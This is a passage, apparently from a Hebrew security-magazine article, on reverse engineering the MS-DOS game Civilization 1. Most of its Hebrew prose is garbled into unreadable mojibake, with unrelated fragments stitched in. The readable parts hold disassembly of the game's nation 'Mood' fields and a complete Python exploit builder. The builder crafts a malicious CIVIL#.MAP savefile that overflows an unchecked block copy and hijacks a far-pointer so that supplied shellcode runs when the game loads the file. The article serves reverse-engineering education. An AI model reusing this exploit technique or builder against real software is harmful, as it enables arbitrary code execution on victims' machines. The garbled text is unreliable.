    int      0x21 
    mov     ah, 0x08 
    int      0x21 
    mov     ax, 0x4c00 
    int      0x21 
; ---------------------------------------------------------------------------  
;                                                                           ;  
;  Data "section"                                                            ;  
;                                                                           ;  
; ---------------------------------------------------------------------------  
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msg     db 13, 10, 'DGROUP = 0x'                     ; Message header  
hexbuf  db '0000'                                    ; Hexadecimal  buffer  
        db 13, 10, '$'                               ; Message footer  
  

 

 x ˟ˣ˶  ˦˪˥ˣˬˢ  ˪˷   ˷ ˣˬ˧ˬˢ   ˞ ˣˢ  ˦ˣ˷˲  ˶ ˧ˬˢ˪   ˸ ˞  ˨˶˰   sπ5Dwh¦t  ˫˧ˣˣ˸˪  ˭˸˧ˮ˷ ˯˧˲ˡˢ˪ Φ˳˟ˣ˵ˢ  x ˬ˴˰   ˶ ˣˬ˞  

 ˸ ˣ˧ˢ˪  ˳˟ˣ˵  /ha   ˭ ˸˧ˮ˷ ˳˧˶ˢ˪  ˸˟˧˟˯˟   sπ5h{  ˢˬ˧˞˸ˬˢ ˢˮ˩ˢ˩   ˦ ˧ˣ˪˲˯˵˞˪  Σ ˶ ˣˬ˞ˣ   ˯ ˧˲ˡˢ˪  ˨˶˰   x ˢ˷˪˩  Σ

˭ˣˠ˩  5Dwh¦t Ґ лȄн..5 ύ˶ˣˬ˞˩ Σˢ˶˵ˬ˟  ˪˷  5h{.ƻȄ Φό 

 ˷ ˣˬ˧ˬ˟  ˦ ˧ˣ˪˲˯˵˞ˢ  ˣˬ˴˰ Σ˦˲˧˶˵˯ˢ   ˪ ˣ˩˧   ˪ ˟˵˪  ˸ ˞ sπŘƎǊƻǳǇ ˪ˠˡ˩ Φ ˫ ˞ ˞ˣˢ   ˞ ˪  ˵ ˲ˣ˯ˬ  π  ˦ ˧ˣ˪˲˯˵˞ˢ  ˥ ˧ˮˬ  

˶˟ˣˡˬ˷ ˪˰  5h{.ƻȄ  ύ˧ˮ˞ ˥˧ˮˬ ˣˤ˷  ˸˟˧˟˯ ˢ˴˶ˢˢ ˸˧˶˪ˣ˲ˣ˲ˢ ˶˸ˣ˧˟ ˫ˣ˧˩ ˣˢ˷ˬ˪ ˢˤ˩ Φό 

 

˦˧ˣ˪˲˯˵˞ˢ  ˞ ˪ˬˢ 

 ˦ ˧ˣ˪˲˯˵˞ˢ  ˞ ˪ˬˢ ˭ˣ˸ˮ ˭˞˩ Υ 

#!/usr/bin/env python3  

import  struct  

import  sys  

import  argparse  

"""  

    Civilization 1 (MS - DOS) .MAP exploit builder  --   arbitrary code execution 

from a savefile.  

  

    Vulnerability  

    -------------  

    Loading a saved game parses the paired CIVIL#.MAP as a PIC image.  

    The PIC block loop (CIV.EXE / ORIGINAL.EXE, at code 0823:10cf) copies any 

non- image block verbatim into a fixed scratch buffer.  

    That buffer exists at DGROUP:0xC926, and the copy uses the block's 16 - bit 

length field straight from the file with NO bounds check:  

  

        lodsw               ; ax = block length (attacker - controlled)  

        mov  cx, ax  

        shr  cx, 1  

        lodsw / stosw       ; copy `length` bytes - > es:0xC926 (es = ds = 

DGROUP) 
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Because DS == SS == DGROUP (0x2BBD in DOSBox, deterministically), the copy runs 

straight up through the game's globals.  

    We don't need to smash a return address: sitting in that range is the 

parser's own " refill " far - pointer at [0xE83A], which it calls (lcall [0xe83a]) 

to top up its read buffer.  

    We overwrite that pointer to aim at our shellcode, which we stage at the 

very start of the copied block (DGROUP:0xC92A).  

    When the parser finishes our block and loops for more data, it calls the 

refill vector -  and then our code runs.  

  

    Keeping the whole .MAP within one buffer read (default block 0x2000 - > ~8 

KB file) means no refill happens during the copy, so surrounding globals stay 

intact until the hijack fires.  

    Usage 

    -----  

    python3 civ1_map_exploit.py shellcode.bin CIVIL0.MAP     # from a raw 

binary  

    python3 civ1_map_exploit.py -- hex 'b8 13 00 cd 10 ...' CIVIL0.MAP  

    Then load slot 0 in the game (keep a valid CIVIL0.SVE alongside it).  

"""  

# The data segment (SS) as loaded by DOS -  the shellcode executes here  

DGROUP = 0x2BBD 

# Where block - data byte 0 lands -  this is the shellcode's entry point  

DEST = 0xC92A 

# Far pointer the parser calls to refill its read buffer  

REFILL_PTR = 0xE83A 

# Palette block -  low byte 0x45 != 0x58 so it takes the copy path  

BLOCK_SIG = 0x3045 

def  build(shellcode:bytes, dgroup: int =DGROUP, block_len: int =0x2000, 

fill: int =0x90) - > bytes:  

    """  

        Return the bytes of a malicious CIVIL#.MAP carrying the shellcode.  

        The " dgroup " variable is the game's runtime data segment. It depends on 

the DOS memory layout, so it differs between emulators/configs. Use SEGFIND.COM 

in the environment if unsure.  

    """  

    # The offset of [0xEB3A] within block data  

    ptr_off = REFILL_PTR -  DEST 
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# Validations  

    assert  len(shellcode) <= ptr_off, Exception (f 'Shellcode too long 

(max={ptr_off})' )  

    assert  block_len <= 0x36D0, Exception ( 'The block length must not pass 

0x36D0' )  

    assert  ptr_off + 4 <= block_len, Exception (f 'The block length must be at 

least 0x{ptr_off+4:x}' )  

  

    # Build data  

    data = bytearray([fill]) * block_len  

    data[ 0:len(shellcode)] = shellcode                              # Put 

shellcode at DGROUP:DEST  

    struct .pack_into( '<HH' , data, ptr_off, DEST, dgroup)            # Value 

[0xE83A] points to dgroup:DEST  

    return  struct .pack( '<HH' , BLOCK_SIG, block_len) + bytes(data)  

  

def  main():  

    # Parse commandline  

    ap = argparse. ArgumentParser (description= 'Build a malicious Civ1 CIVIL#.MAP 

from shellcode.' )  

    ap.add_argument( 'shellcode' , help= 'raw shellcode file (or use -- hex)' )  

    ap.add_argument( 'output' , help= 'output .MAP path (e.g. CIVIL0.MAP)' )  

    ap.add_argument( ' -- hex' , dest= 'hexbytes' , help= 'shellcode as hex string 

instead of a file' )  

    ap.add_argument( ' -- dgroup' , type= lambda x: int (x, 0), default =DGROUP, 

help= 'game data segment (0x2BBD for dosbox; use SEGFIND.COM otherwise)' )  

    ap.add_argument( ' -- block - len' , type= lambda x: int (x, 0), default =0x2000, 

help= 'how many bytes the game copies (0x2000) by default' )  

    args = ap.parse_args()  

  

    # Parse shellcode  

    if  args.hexbytes:  

        sc = bytes.fromhex(args.hexbytes.replace( ',' , ' ' ).replace( '0x' , 

'' ).split( '#' )[ 0])  

    else :  

        with  open(args.shellcode, 'rb' ) as fp:  

            sc = fp.read()  
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 # Build the blob  

    blob = build(sc, args.dgroup, args.block_len)  

  

    # Write to the map  

    with  open(args.output, 'wb' ) as fp:  

        fp.write(blob)  

  

if  __name__ == '__main__' :  

    main()  

 

 ˦ ˧ˣ˪˲˯˵˞ˢ   ˪ ˟˵ˬ  ǎƘŜƭƭŎƻŘŜ  ˳˟ˣ˵ˬ  ˣ˞   ˨ ˶˰ˬ˩  ˪˷  ˫˧˸˟   ˨ ˣ˸ˬ  πsŎƻƳƳŀƴŘƭƛƴŜ  Σ˭˩ˣ  ˪ˣ˩˧   ˪ ˟˵˪   ˨ ˶˰  

5Dwh¦t  ˢˡ˧ˬ˟  ˣˮ˥ˮ˞ˣ  ˫˧ˮˮ˩˸ˬ   ˳ ˧˶ˢ˪   s ˟˧˟˯˟  ˢˮˮ˧˞˷  5h{.ƻȄ  Φ˧˸˲˯ˣˢ   ˫ ˠ   s ˧˴˲ˣ˞  ˸ˣˮ˷˪  ˸˞  ˪ˡˣˠ  

˵ˣ˪˟ˢ ˧˲˩  ˪˟˵˸ˬ˷   ˪ ˰ ˧ˡ˧ ˵˥˷ˬˢ  ύлȄнллл Σό ˪ ˟˞ ˪˩˩ ˢ˞˶ˮˢ ˭˧˞  ˨ ˶ˣ˴ ˯ˣ˶ˡ˪  x ˸ˣ˞ ˱˞  ˫˰˲Φ   

 x ˲ˣ˯˟   ˪ ˷  ˶˟ˡ  Σ˦˧ˣ˪˲˯˵˞ˢ  ˶˴˧˧ˬ  ˳˟ˣ˵  a!t  Σ˪˧˟˵ˬ˟˷  ˳˟ˣ˵˪  πs{±9   ˫ ˧˞˸ˬˢ   ˪ ˣ˩˧   ˭ ˰˦˧ˢ˪   ˵ ˥˷ˬ˪  ˳˧˶ˢ˪ˣ  

ǎƘŜƭƭŎƻŘŜ ˣˮˮˣ˴˶˩ Φ ˧ ˮ˞  ˧ ˸˴˶ˢ ǎƘŜƭƭŎƻŘŜ  ɣ ˴˧˧ˬ˷ ˢ˶ˣ˴˟ ˢˮˬ˞ˮ ˸˞ ˢ˸ˣ˞ ˢ˲ˣ˵˸ Σ˫˰ ŘŜƳƻ ˞˪ ˰˶ Υ 

 

 ˧ ˸˦˪˵ˢ ˸˞ ˭ˣ˦˶˯ˢ ˞˪ˬˢ ˭˸˧ˮˣ ˸ˣ˲˴˪ x˟ ˭˞˩ ΥƘǘǘǇǎΥκκǿǿǿΦȅƻǳǘǳōŜΦŎƻƳκǿŀǘŎƘΚǾҐƻо·отƭǇ/Whƻ 

˸˞ ˡˣ˵  ˶ ˣ˵ˬˢ ˪˷ sπŘŜƳƻ ˭˸˧ˮ ˸ˣ˞˶˪ ˪˲ˬ˵˪ˣ ˨ˣ˸ˬ sπƎƛǘ ǊŜǇƻǎƛǘƻǊȅ ˧˪˷ ˭˞˩Φ 
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 ˧ ˮ˧˰˶ˠˢ ˧ˡˮˠ :˯ˣˮˣ˟ 

ˢˮ˷˧  ˢˡˠ˞ ˸˧ˮ˟˶ˣ˞  ˢ˰ˣˡ˧  ˸˰ˠˣˮˢ ˵˥˷ˬ˟  π  ˢˡˠ˞ˢ  ˪˷ ˧ˡˮˠ  ˧ˮ˧˰˶ˠˢ Φ˧˲˪  ˣ˸ˣ˞   ˶ ˣ˲˧˯  Σ˪˩˪  ˠ˧ˢˮˬ   ˵ ˥˷ˬ˟  

˷˧   ˡˡˬ  ˸ˣˮ˲˵ˣ˸  π  ˪˩˩  ˣ˸ˣ˞˷  ˶˲˯ˬ  ˢˣ˟ˠ  ˶˸ˣ˧  ˨˩  ˷˧  ˶˸ˣ˧  ˧ˣ˩˧˯  ˣ˸ˣ˞˷  ˠ˧ˢˮˬ  ˪˧˥˸˧  ˸ˣˬ˥˪ˬ  Φ˧˲˪  ˶ˣ˲˧˯ˢ  Σ

ˠ˧ˢˮˬˢ  ˧ˡˣˢˢ  ˢˬ˦˞ˢˬ   ˧ ˡˮˠ  ˪˟˧˵  ˸˞  ˨˶˰ˢ  ˨ˣˬˮˢ  ˶˸ˣ˧˟   π   ˨ ˶˰  ˪˷  м  Σ˶˴˧˧ˬ˷  ˸ˣ˧˦˯˧˲˧˴˲  Φˣˬ˩  ˭˩  Σ s ˮ˰˦ˢ  

˞˧ˢ  ˧ˣˮ˧˷˷   ɣ ˣ˯  ˪˷ˬˬˢ   s ˧˦˶˵ˣˬˡ˪   l ˧˶ˣˬ   ˸ ˞  ˨˶˰  ˡˡˬ   ˸ ˣˮ˲˵ˣ˸ˢ   ˟πн  ύ ˭ ˣˣ˧˩ˬ  ˫˧˪˷ˬˬ˷   ˫ ˧˧˦˶˵ˣˬˡ   ˫ ˢ  

˸ˣ˥˲  ˫˧˧ˮ˲˵ˣ˸  Φό˭˟ˣˬ˩  Σˢˤ  ˶ˬˣ˞  ˧ˡˮˠ˷  ˪˟˵ˬ  ˨˶˰  ˪˷  ˯ˣˮ˧ˬ  м  Σ˭ˣˣ˧˩ˬˣ ˡˡˬ˷   ˸ ˣˮ˲˵ˣ˸ˢ  ˞ˣˢ  ˶˲˯ˬ   ˫ ˪˷  

ǳƴǎƛƎƴŜŘ  π  ˞ˣˢ  ˪˟˵ˬ   ˨ ˶˰  ˢˣ˟ˠ   ˟ ˵˰  LƴǘŜƎŜǊ ƻǾŜǊŦƭƻǿ   ˰ ˧ˠˬˣ   ˪πнрр  Σˢˬ  ˫˶ˣˠ˷   x ˪  ˸ˣ˧ˢ˪  ˧˟˧˯˶ˠ˞   ˶ ˸ˣ˧  

˪˩ˬ ˠ˧ˢˮˬ Φ˰ˣ˶ˠ ˨˩ˬ π ˟˪˷˟  ˢˤ ˪˷ ˵˥˷ˬˢ ˶˵˥ˬ ˪˰ ˵˷ˮ ˧ˮ˧˰˶ˠ ˶˟˩  ˫ ˧˧˸˯ˢ Σˢˬ ˶ˬˣ˞˷ ˧ˡˮˠ˷ ˪˧˥˸ˬ  

˱ˣ˵˸˪   ˸ ˞   ˪ ˩   ˸ ˣˬˣ˞ˢ   ˫ ˰  ˵˷ˮ   ˧ ˮ˧˰˶ˠ  Χ x ˧ˢ   ˸ ˣˮ˰˦   ˸ ˣ˟˶  ˶˟˩  ˨˩˪  ˢˮ˰˦ˢ˷   ˞ ˪  ˢˮˣ˩ˮ  ύ˪˪ˣ˩   ˥ ˸˲ˬˬ   ˵ ˥˷ˬˢ  

ˣˬ˴˰ Σ{ƛŘ aŜƛŜǊ  ό ˪ ˟˞ ˧ˮ˞ ˥˧ˮˬ ˶˷˞˩˷ ˶ˣ˲˧˯ ˟ˣ˦   l ˰ ˧ˡ˩ ˨˩ π  ˞ ˣˢ ˭˧˧ˡ˰  ˪ ˟˵ˬ ˢˡˣˢ˸  ˢ˟˶Φ 

 

 

 

˭ˣˣ˧˩ˬ   ˧ ˸˧˷˰˷  ˶˟˩  ˞˪  ˦˰ˬ  ˢ˯ˡˮˢ  ˶ˣ˥˞˪  ˪˷  ˵˥˷ˬˢ  ˟˪˷˟  ˢˤ  Σ˧˸˧˴˶   ˵ ˣˡ˟˪  ˸˥˞   l ˧ˬ˸˪ˣ  ˧ˬ˴˰˟   ˫ ˞ˢ  

˷˧ ˧˪ˣ˞ ˳ˬ˷   ˪ ˰ ˸ˬ˞  ˣ˸ˣ˞˟  ˶ˣ˲˧˯ Φ 
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ˢˮ˟ˬ ˫˧ˮˣ˸ˮˢ ˠ˴˧˧ˬ˷ ˠ˧ˢˮˬ 

ˢˮ˟ˬ ˫˧ˮˣ˸ˮˢ ˠ˴˧˧ˬ˷ ˠ˧ˢˮˬ  ˞ˣˢ ˪ˡˣˠ˟  ру ˫˧˸˟ ˵ˣ˧ˡ˟  Σˢ˞˶ˮˣ ˨˩ Υ 

hŦŦǎŜǘ  ˪ ˡˣˠ  

 ˫ ˧˸˟˟ 

 ˸ ˣ˰ˬ˷ˬ  s ˡ˷ˢ ˠˣ˯  ˰ ˡ˧ˬˢ 

лȄлл он ˫˷ ύ[ŜŀŘŜǊ ƴŀƳŜ ό ˸ˤˣ˶˥ˬ b¦[πǘŜǊƳƛƴŀǘŜŘ ˸ˡ˲ˣ˶ˬ  

 ˫ ˧˯˲˞˟ 

лȄнл мс  ˸ ˣ˥˶ˤ˞ ύbŀǘƛƻƴŀƭƛǘȅ ό ˸ˤˣ˶˥ˬ b¦[πǘŜǊƳƛƴŀǘŜŘ ˸ˡ˲ˣ˶ˬ  

 ˫ ˧˯˲˞˟ 

лȄол н ˟˴ˬ ˥ˣ˶ ύaƻƻŘ ό ˧˸ˣ˶˟˥  Ґ ˯ ˣˮ˧ˬ м 

˧˪˶˦˧˧ˮ  Ґл 

˧˟˧˯˶ˠ˞  Ґ˯ˣ˪˲  м 

лȄон н  ˸ ˣ˧ˮ˧ˡˬ ύtƻƭƛŎȅ ό ˦˯˧ˮˣ˧˴˵˲˶˲   Ґ˯ˣˮ˧ˬ м 

˧˪˶˦˧˧ˮ  Ґл 

ˢ˦ˣˮ ˸ˣ˟˥˶˸ˢ˪  Ґм 

лȄоп н ˢ˧ˠˣ˪ˣ˞˧ˡ˧˞ ύLŘŜƻƭƻƎȅ ό ˧˦ˮ˦˧˪˧ˬ   Ґ˯ˣˮ˧ˬ  м 

˧˪˶˦˧˧ˮ  Ґл 

˧˸ˣ˟˶˸   Ґм 

лȄос н ˢ˵˧ˤˣˬ  ˢ˶˴˵  ύ{ƘƻǊǘ ǘǳƴŜ ό ˰˧˟˴ˬ  ˰˦˵˪ ˢ˵˧ˤˣˬ 

лȄоу н ˢ˵˧ˤˣˬ  ˢ˩ˣ˶˞  ύ[ƻƴƎ ǘǳƴŜ ό ˰˧˟˴ˬ  ˰˦˵˪ ˢ˵˧ˤˣˬ 

 

 

http://www.digitalwhisper.co.il/
https://he.wikipedia.org/wiki/%D7%94%D7%A1%D7%91%D7%99%D7%97_%D7%A9%D7%9C_%D7%A2%D7%95%D7%91%D7%93
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ˣ˸ˣ˞   ˡˡˬ  ˸ˣ˧˟˧˯˶ˠ˞  ˞ˣˢ  ˢ˷˰ˬ˪  ˢˡ˷   sπaƻƻŘ  Σ˧˲˩ˣ  ˭˸˧ˮ˷   ˸ ˣ˞˶˪  Σ˞ˣˢ  ˪ˣ˩˧  ˪˟˵˪  ˵˶  о   ˫ ˧˩˶˰  ˫˧ˮˣ˷  Φ

˧ˡˮˠ  Σ˸˧˲˧˴˲˯ Σ ˪ ˟˵ˬ Υ 

¶ ˡˡˬ  Mood ˪˷ ˯ˣˮ˧ˬ  м ύ ˟ ˣ˸˩ ˩π 0xFFFF Φό 

¶ ˡˡˬ  ˸ ˣ˧ˮ˧ˡˬ  ˪ ˷  ˯ ˣˮ˧ˬ м ύ˟ˣ˸˩ ˩π 0xFFFF Φό 

¶ ˡˡˬ ˢ˧ˠˣ˪ˣ˞˧ˡ˧˞  ˪˷  л ύ˟ˣ˸˩  πs 0лллxл Φό 

 

ˡˡˬ   sπaƻƻŘ  ˣ˪˷  ˭˩˞  ˨˲ˣˢ   x ˸ˣ˞  ˡ˞ˬ˪   ˧ ˸ˣ˶˟˥  ύ l ˥˧  ˣ˸˧˞  Σ˟ˠ˞  Σ˫˧˞˴ˬˮ  ˫ˢ˶˟˞   ˭ ˪ˣ˵ˮ˧˪  ύ ɣ ˧ˢˮˬ  

 ˫ ˧˞˵˧˶ˬ˞ˢ  ό ˧ ˟˶ˣˬ˥ˣ  ύ ɣ ˧ˢˮˬ  ˫˧˪˟˟ˢ  Σόό ˪ ˟˞   ˟ ˣ˷˥  ˶˸ˣ˧  ˢˤˬ  π   ˨ ˶˰ˢ   ˞ ˣˢ   ˸ ˣ˞ˡˣˣ˟  ǎƛƎƴŜŘ   ˞ ˪ˣ  ǳƴǎƛƎƴŜŘ  

˧˲˩ ˭˰˦ˮ˷ Φ 

ˢ˥˩ˣˢ ˢ˶˧˷˧ ˶˸ˣ˧  ˨˶˰˷ aƻƻŘ  ˞ ˣˢ ǎƛƎƴŜŘ ˸˩ˬ˸˯ˬ   ˪ ˰  ˧˪˟ˬ˯˞ˢ ˣˬ˴˰ Υ 

mov  ax, 0x3a                    ; 0x3A = 58 = size of one leader record  
imul  word ptr  [ si - 0x18ec]        ; ax = NationalityID * 58   (signed multiply, 
index into the table)  
mov  bx, ax 
cmp  word ptr  [ bx+0x1512], 1     ; Mood == 1 ?   - > print "Aggressive"  
jne   ...  
...  
cmp  word ptr  [ bx+0x1512], - 1    ; Mood == - 1 ?  - > print "Friendly"  
jne   ...  

 

 ˨ ˶˰ˢ  лȄмрмн   ɣ ˴˧˧ˬ  ˸˞  лȄмп9н  ύ ˯ ˧˯˟ˢ   ˪ ˷   ˸ ˪˟˦  ˫˧ˠ˧ˢˮˬˢ  ό l ˣ˰ˣ  лȄол  ύsπƻŦŦǎŜǘ  ˪˷  ƳƻƻŘ   ˨ ˣ˸˟  

ˢˮ˟ˬˢ  Φό˶˷˲˞  ˸ˣ˞˶˪  ˨˧˞  ˵˥˷ˬˢ  ˰˴˟ˬ  ƧƴŜ  ˦ˣ˷˲  ˧˶˥˞  ˢ˞ˣˣ˷ˢ  ˯ˣ˪˲˪  ˣ˞  ˯ˣˮ˧ˬ  м  π  ˢˤ  ˶ˬˣ˞  ˨˶˰ˢ˷   ˪ ˷  

ƳƻƻŘ   ˞ ˣˢ   ˶ ˸ˣ˧   ɣ ˣ˯  ˪˷  ŜƴǳƳ  ˶˷˞ˬ  ˨˶˰   ˧ ˶˲˯ˬ   ˧ ˸˧ˬ˞  π  ˸˶˥˞   x ˮ˧˧ˢ   ˫ ˧˞ˣ˶   ˸ ˣ˞ˣˣ˷ˢ   ˪ ˷    ˪ ˣˡˠ  πˬ   x ˞    ˭ ˦˵  

πˬ Φ˦˶˲˟ Σ˭˧˞ ˫ˣ˷ ˤˬ˶  ˨˩˪   ˨ ˶˰˷ ˢˤ  ˞ ˣˢ ǎƛƎƴŜŘΦ 

 

˭˧˞ ˢˡ˶ˣˢ ˪˷ н ˶˟˰ˬ˟   s ˧˦˶˵ˣˬˡ˪ 

˶ˬ˯ˬˢ   ˭ ˣ˶˥˞ˢ  ˭ˣ˶˞˟   ˫ ˧˸ˬˢ   ˪ ˷  ˯ˣ˸˧ˬˢ   s ˤˢ  ˰ˠˣˮ   s ˟˧˸˩˪   ˨ ˶˰˪  ƳƻƻŘ  Φ˫ˣ˵ˬˢ  ˡ˧˥˧ˢ  ˣ˟  ˷˧  ˢ˟˧˸˩   ˨ ˶˰˪  

ƳƻƻŘ ˢ˞˶ˮ ˨˩ ˟ πhǇŜƴ/ƛǾhƴŜ Υ 

Nations[i].Mood = RNG.Next( 3) -  1;   // re - randomized to - 1 / 0 / +1  
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˪˩  ˸ˣ˯˥˧˧˸ˢ  ˸˶˥˞  ˨˶˰˪  aƻƻŘ  ˞˧ˢ  ˸˧˸˞ˣˣ˷ˢ   ύˢ˵˧ˡ˟  ˫˞ˢ  ˞ˣˢ  м  ˣ˞  ˯ˣˮ˧ˬ  м  Σˢˬˣˡ˟  ˢˬ˪  ˣˮ˧˞˶˷   ˧ ˮ˲˪  

˭˩  Φό˦ˣ˶˧˲˟  Σ˪˩   ˧ ˣˮ˧˷   ˪ ˷ˬˬ  ύ˦˶˲˟ˣ  ˢ˧˦˶˵ˣˬˡ˪  ό˞˪  ˢˮ˷ˬ  ˸˞  ˨˶˰   sπaƻƻŘ  Φ ˶ ˟ˡ   s ˬˣˡ  ˷˥˶˸ˬ   ˵ ˥˷ˬ˟  

πs5h{  ˧ ˶ˣ˵ˬˢ Υ 

0077d5:  b8 3a 00    mov   ax,  0x3a   ;  AX = 58 = size  of  a record  
0077d8:  f7  6e c6    imul   word ptr  [bp - 0x3a]   ;  DX:AX = 58 *  [bp - 0x3a]    
(nation  index  *  58)  
0077db:  8b f0        mov   si,  ax  ;  SI  = byte  offset  of  this  nation's  record  
 
;  Mood: 
0077dd:  b8 03 00    mov   ax,  3   ;  prepare  argument  for  rand(3)  
0077e0:  50          push  ax      ;  ditto  
0077e1:  9a 5b 00 de 2d  lcall  0x2dde:0x5b      ;  rand(3)  invocation  
0077e6:  83 c4 02    add   sp,  2   ;  pop the  argument  (cdecl  cleanup)  
0077e9:  48          dec   ax      ;  AX = rand(3)  -  1 
0077ea:  89 84 12 15 mov   [si+0x1512],  ax  ;  Nations[i].Mood  = rand(3)  -  1 

 

˧ˢˣˤ ˢ˟˧˸˩ˢ ˢˡ˧˥˧ˢ   ˪ ˞ aƻƻŘ ˧˲˩ˣ   ˭ ˸˧ˮ˷  ˸ ˣ˞˶˪ π ˞˧ˢ ˦ˣ˷˲ ˨˶˰   ˧ ˞˶˵˞ ˭˧˟ ˯ˣˮ˧ˬ  м  ˪πмΦ 

˨˶ˣ˴˪  ˞ˣˡ˧ˣ   ˡ˰  ˱ˣ˯ˢ  Σ˧˸ˠ˟˧ˡ  ˸˞  ˵˥˷ˬˢ  ˧˸˰˴˧˟ˣ  ˧˧ˣˮ˧˷  ˪˷ˬˬ  ˢ˧˦˶˵ˣˬˡ˪  π  ˫ˣ˷˟  ˟˪˷  ˞˪   s ˸˧˧ˢ  

ˢ˸˥˲ˢ ˣ˸ˣ˞ˬ  ˨˶˰ aƻƻŘ Φ˭˩˪ Σ˟˪˷˟ ˢˤ Σ˧ˮ˞ ˰ˮ˩ˣ˷ˬ  ˶ ˣ˲˧˯ˢ˷ ˪˷   ˧ ˡˮˠ ˧ˮ˧˰˶ˠˢ ˞ˣˢ  ˯ˣ˸˧ˬΦ 

 

 ˫ ˣ˩˧˯ 

˦˵˧ˣ˶˲  ˢˤ  ˢ˸˧˧ˢ   ˸ ˣ˪˧˰˲  ˱ˣ˯   ˰ ˣ˟˷  ˢ˟˧˟˥  ˧˶ˣ˟˰  Σ˧ˮ˞ˣ  ˭ˮ˩˸ˬ  ˨˧˷ˬˢ˪   ˶ ˣ˵˥˪   ˧ ˵˥˷ˬ  5h{  ˫˧ˮ˷˧  Σ ˭ ˣˣ˧˩ˬ  

 ˶ ˟˰ˬ˷  ˨˶˰˪   ˧ ˠ˪˦˯ˣˮˢ  π  ˢ˧ˠˣ˪ˣˮ˩˦ˢ   l ˞ˬ  ǇǊƻǇǊƛŜǘŀǊȅ  π  ˪˩   ˵ ˥˷ˬ  ˦˧˪˥ˢ  ˷ˬˬ˪   ˫ ˧˶˟ˡ  ˫˧ˬˣˡ  ˢ˶ˣ˴˟   ˸ ˴˵  

ˢˮˣ˷  Φ˧˧ˮ˧˰˟  ˢˤ   ˵ ˪˥  ˭˧˧ˮ˰ˬ  ˡ˞ˬ  Σˢ˷˰ˬ˪ˣ  Σ˶˟˩ ˧˸˶˵˧˯  ˶˟˰˟  ˸˞  ˵˥˷ˬˢ 5ŀƴƎŜǊƻǳǎ 5ŀǾŜ ˭ˣ˧˪˧ˠ˟ мрн   π  

˧ˮ˞ ˳˧˪ˬˬ   ˫ ˣ˥˟ ˞ˣ˶˵˪  ˫ˠ ˣ˸ˣ˞ Φˣˬ˩ ˭˩  Σ˧ˮ˞ ˭˩ˣˬ ˪˟˵˪ ˸ˣ˴˪ˬˢ ˫˧˦˵˧˧ˣ˶˲˪   ˫ ˧ˬˣˡ π ˭˲ˣ˞˟ ˧˦˶˲ Φ 

˸˞   ˪ ˩   ˫ ˧˦˵˧˧ˣ˶˲ˢ  ˧˪˷  ˧ˮ˞  ˢ˯ˮˬ  ˶ˣˬ˷˪  ˶˸˞˟   ˧ ˦˶˲ˢ  ˧˪˷  ΥƘǘǘǇǎΥκκƧƻƴŀǘƘŀƴōŀǊƻǊΦŎƻƳ  Σ x ˟   ˭ ˸˧ˮ   ˞ ˣ˴ˬ˪  

˫˧˶˟ˡ   ˫ ˧˧˶˦ˣˤ˧˞  ύˣˬ˩   ˶ ˵˥ˬˢ  ˢˤˢ  ό˫ˠˣ  ˸˴˵   ˸ ˣ˥˲  ύ˶˵˧˰˟  ƻŦŦŜƴǎƛǾŜ ǎŜŎǳǊƛǘȅ  ˫˰  ˸ˣ˰˧ˠˮ   ˪ ˷  

ˢ˧˲˶ˠˣ˦˲˧˶˵Φό 

ˢˡˣ˸  ˸ˡ˥ˣ˧ˬ  ˶˸˞˪   ˰˯ˬ  ˪˞  ˶˟˰ˢ  ˪˧˩ˬ˷  ˫˧˵˥˷ˬ  ˫˧˟˶  ύ˫˵˪˥  ˫ˠ  ˸˧˶˟˰˟  όΗˢˣˣˢˬˣ  ˢˣˣ˞ˠ  ˸˧ˮ˧˴˶  Σ

˭˟ˣˬ˩ˣ  ˫˧˥˸˲ˬ˪  ˫ ˧˵ˤ˥˸ˬˢˣ ˪˷  hǇŜƴ/ƛǾhƴŜ  ˣ˩˲ˢ˷  ˸ ˞  ˶˵˥ˬˢ  ˪˵˪ ˶˸ˣ˧ ˸˧˸ˣ˰ˬ˷ˬ Φ 

ˢˡˣ˸ ˪˰ ˢ˞˧˶˵ˢ Η 

˭˸ˮˣ˧  ˶˟   ˶ ˣ˞ 

http://www.digitalwhisper.co.il/
https://www.digitalwhisper.co.il/issue152
https://www.digitalwhisper.co.il/issue152
https://jonathanbaror.com/
https://www.old-games.org/
https://www.old-games.org/
https://www.old-games.org/
https://www.old-games.org/
https://www.old-games.org/
https://codeberg.org/rhorvat/OpenCivOne
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MTE   ˲ ˣ˵˯ˣ˶˵˧ˬ˩ 

˸˞ˬ ˫ˢ˶˟˞ ˶˧ˮ  ˧ ˵ ˣˢˣ 

 

 s ˬˡ˵ˢ 

 ˫ ˧˷ˡˣ˥˟  ˫˧ˮˣ˶˥˞ˢ  ˪˥ˢ   ˰ ˧˲ˣˢ˪  ˶ˣˮ˧˴˟  ˥ˣ˸˧ˮˢ   x ˮ˪˷   ɣ ˣ˯   ˷ ˡ˥  ˪˷   ˸ ˣ˞,   ˸ ˣ˯˧˶˵   ˪ ˮ˶˵  ύƪŜǊƴŜƭ ǇŀƴƛŎǎ  ό

˫˪ˣ˰ˬ˷  ˞˪  ˣˮ˪˵˸ˮ  ˭ˢ˟  ˶˟˰˟  Φ˞˪  ˫ˣ˷ˬ  ˭ˢ˷  ˸ˣˠ˴˧˧ˬ  ˢ˲˵˸ˬ  ˢ˷ˡ˥  Σ˞˪˞  ˫ˣ˷ˬ  ˭ˣˮˠˮˬ˷  ˸˲˧˩˞   ˸ ˣˬ˪˷  

˭ˣ˶˩˧ˤˢ   ύaŜƳƻǊȅ LƴǘŜƎǊƛǘȅ 9ƴŦƻǊŎŜƳŜƴǘ ς aL9  ό˪˷  !ǇǇƭŜ  ˱˷ˣ˥  ˸˰˩  ˫˧ˠ˞˟  ˶˟˰˟˷  ˞˪  ˣ˶˧˸ˣˢ   ˫ ˢ˧˶˥˞  

˪˩  ˢ˟˵˰  Φˢ˶˵ˬ  ˡ˥˞  ˨˷ˬ  ˡ˥ˣ˧ˬ˟   ˸ ˞   ˸ ˬˣ˷˸  ˣˮ˟˪  Υ˸˯˧˶˵  ˪ˮ˶˵  ˢˬ˶ˠˮ˷  ˢ˞˴ˣ˸˩  ˟˴ˬˬ  ˳ˣ˶˧ˬ  ύǊŀŎŜ 

ŎƻƴŘƛǘƛƻƴ  ό˵ˣˬ˰  ˨ˣ˸˟  ˸˧ˮ˯˥ˬ  ˸˷˶ˢ  ˪˷  ƛh{  Φ˪˩˟   ˶ ˧˷˩ˬ   x ˮ˧˞˷   ˨ ˬˣ˸  ˸˟˥˶ˢ˟  ˠˣ˧˸  ˭ˣ˶˩˧ˤˢ  ύaŜƳƻǊȅ 

